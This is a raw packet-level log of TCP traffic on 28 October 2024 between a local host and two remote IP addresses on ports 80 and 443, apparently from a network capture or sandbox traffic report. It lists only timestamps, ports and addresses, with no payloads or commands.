Oct 28, 2024 18:43:39.655128956 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:39.655133963 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:39.655144930 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:39.655155897 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:39.655155897 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:39.655184031 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:39.655199051 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:39.655209064 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:39.655230999 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:39.655284882 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:39.655303955 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:39.655328035 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:39.655338049 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:39.655355930 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:39.655380964 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:39.655380964 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:39.655381918 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:39.655394077 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:39.655404091 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:39.655415058 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:39.655426979 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:39.655441046 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:39.655524015 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:39.655550957 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:39.655576944 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:39.655587912 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:39.655601978 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:39.655643940 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:39.699184895 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:39.699208975 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:39.699218988 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:39.699291945 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:39.699291945 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:39.699297905 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:39.699316978 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:39.699331045 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:39.699362993 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:39.699376106 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:39.699383974 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:39.699383974 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:39.699388027 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:39.699409962 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:39.699466944 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:39.706542969 CET	443	63598	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:39.707901001 CET	63598	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:39.707901955 CET	63598	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:39.707951069 CET	443	63598	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:39.707976103 CET	443	63598	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:39.725403070 CET	443	63597	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:39.726042986 CET	63597	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:39.726066113 CET	443	63597	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:39.726643085 CET	63597	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:39.726649046 CET	443	63597	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:39.772073984 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:39.772241116 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:39.772274017 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:39.772296906 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:39.772310972 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:39.772320986 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:39.772324085 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:39.772337914 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:39.772347927 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:39.772353888 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:39.772355080 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:39.772367001 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:39.772378922 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:39.772392035 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:39.772394896 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:39.772406101 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:39.772412062 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:39.772419930 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:39.772430897 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:39.772439003 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:39.772447109 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:39.772459030 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:39.772469997 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:39.772469997 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:39.772484064 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:39.772505045 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:39.772507906 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:39.772521019 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:39.772531033 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:39.772542953 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:39.772556067 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:39.772567987 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:39.772579908 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:39.772581100 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:39.772581100 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:39.772591114 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:39.772603989 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:39.772610903 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:39.772624969 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:39.772629976 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:39.772629023 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:39.772645950 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:39.772669077 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:39.772696018 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:39.772958040 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:39.772974968 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:39.772986889 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:39.772999048 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:39.773010969 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:39.773020029 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:39.773027897 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:39.773030043 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:39.773052931 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:39.773066044 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:39.773077965 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:39.773089886 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:39.773092985 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:39.773094893 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:39.773108006 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:39.773114920 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:39.773161888 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:39.773174047 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:39.773180962 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:39.773186922 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:39.773199081 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:39.773205042 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:39.773216963 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:39.773216963 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:39.773220062 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:39.773241997 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:39.773276091 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:39.773288012 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:39.773300886 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:39.773312092 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:39.773325920 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:39.773329973 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:39.773329973 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:39.773340940 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:39.773350954 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:39.773354053 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:39.773365021 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:39.773367882 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:39.773380995 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:39.773387909 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:39.773387909 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:39.773396015 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:39.773406029 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:39.773415089 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:39.773426056 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:39.773427010 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:39.773427010 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:39.773438931 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:39.773446083 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:39.773452997 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:39.773474932 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:39.773545980 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:39.773572922 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:39.773585081 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:39.773596048 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:39.773613930 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:39.773617983 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:39.773627043 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:39.773639917 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:39.773644924 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:39.773653984 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:39.773665905 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:39.773680925 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:39.773685932 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:39.773698092 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:39.773719072 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:39.773742914 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:39.773755074 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:39.773767948 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:39.773789883 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:39.773848057 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:39.773868084 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:39.773873091 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:39.773883104 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:39.773893118 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:39.773896933 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:39.773909092 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:39.773932934 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:39.773932934 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:39.773993969 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:39.774029016 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:39.774051905 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:39.774064064 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:39.774080992 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:39.774127960 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:39.774142027 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:39.774149895 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:39.774154902 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:39.774175882 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:39.774177074 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:39.774219990 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:39.774230957 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:39.774244070 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:39.774250031 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:39.774259090 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:39.774288893 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:39.774288893 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:39.774307013 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:39.774322033 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:39.774333000 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:39.774343967 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:39.774357080 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:39.774369001 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:39.774591923 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:39.811827898 CET	443	63601	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:39.812350988 CET	63601	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:39.812364101 CET	443	63601	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:39.812917948 CET	63601	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:39.812927008 CET	443	63601	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:39.816894054 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:39.816910028 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:39.816924095 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:39.816935062 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:39.816999912 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:39.816999912 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:39.817008018 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:39.817019939 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:39.817029953 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:39.817039013 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:39.817055941 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:39.817064047 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:39.817075014 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:39.817085028 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:39.817094088 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:39.817105055 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:39.817114115 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:39.817122936 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:39.817217112 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:39.817228079 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:39.817240000 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:39.817244053 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:39.817253113 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:39.817259073 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:39.817455053 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:39.822509050 CET	443	63599	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:39.822915077 CET	63599	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:39.822927952 CET	443	63599	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:39.823415995 CET	63599	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:39.823420048 CET	443	63599	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:39.828283072 CET	443	63600	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:39.829467058 CET	63600	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:39.829519033 CET	443	63600	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:39.830096006 CET	63600	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:39.830116034 CET	443	63600	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:39.835717916 CET	443	63598	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:39.836236954 CET	443	63598	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:39.838371992 CET	63598	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:39.838371992 CET	63598	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:39.838372946 CET	63598	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:39.841702938 CET	63607	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:39.841756105 CET	443	63607	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:39.841907978 CET	63607	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:39.844474077 CET	63607	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:39.844512939 CET	443	63607	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:39.858479977 CET	443	63597	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:39.858927965 CET	443	63597	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:39.859128952 CET	63597	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:39.859128952 CET	63597	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:39.859199047 CET	63597	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:39.859205961 CET	443	63597	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:39.861342907 CET	63608	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:39.861371040 CET	443	63608	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:39.861469030 CET	63608	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:39.861747026 CET	63608	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:39.861758947 CET	443	63608	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:39.890410900 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:39.890427113 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:39.890439034 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:39.890450001 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:39.890471935 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:39.890501022 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:39.890503883 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:39.890513897 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:39.890566111 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:39.890566111 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:39.890607119 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:39.890619040 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:39.890633106 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:39.890644073 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:39.890656948 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:39.890662909 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:39.890671015 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:39.890691996 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:39.890691996 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:39.890697002 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:39.890710115 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:39.890718937 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:39.890722990 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:39.890742064 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:39.890744925 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:39.890748978 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:39.890769005 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:39.890780926 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:39.890789032 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:39.890794992 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:39.890799046 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:39.890809059 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:39.890820980 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:39.890825033 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:39.890831947 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:39.890835047 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:39.890847921 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:39.890856981 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:39.890861034 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:39.890882969 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:39.890899897 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:39.890913010 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:39.890922070 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:39.890924931 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:39.890938997 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:39.890948057 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:39.890954018 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:39.890957117 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:39.890968084 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:39.890978098 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:39.890978098 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:39.890983105 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:39.890996933 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:39.891005039 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:39.891012907 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:39.891016006 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:39.891016006 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:39.891026974 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:39.891041040 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:39.891047001 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:39.891047001 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:39.891052008 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:39.891061068 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:39.891093969 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:39.891093969 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:39.947068930 CET	443	63601	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:39.947093964 CET	443	63601	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:39.947154045 CET	443	63601	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:39.947191000 CET	63601	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:39.947228909 CET	63601	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:39.947402954 CET	63601	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:39.947411060 CET	443	63601	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:39.947443008 CET	63601	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:39.947448015 CET	443	63601	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:39.950324059 CET	63609	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:39.950375080 CET	443	63609	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:39.951006889 CET	63609	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:39.951138020 CET	63609	443	192.168.2.5	13.107.246.51
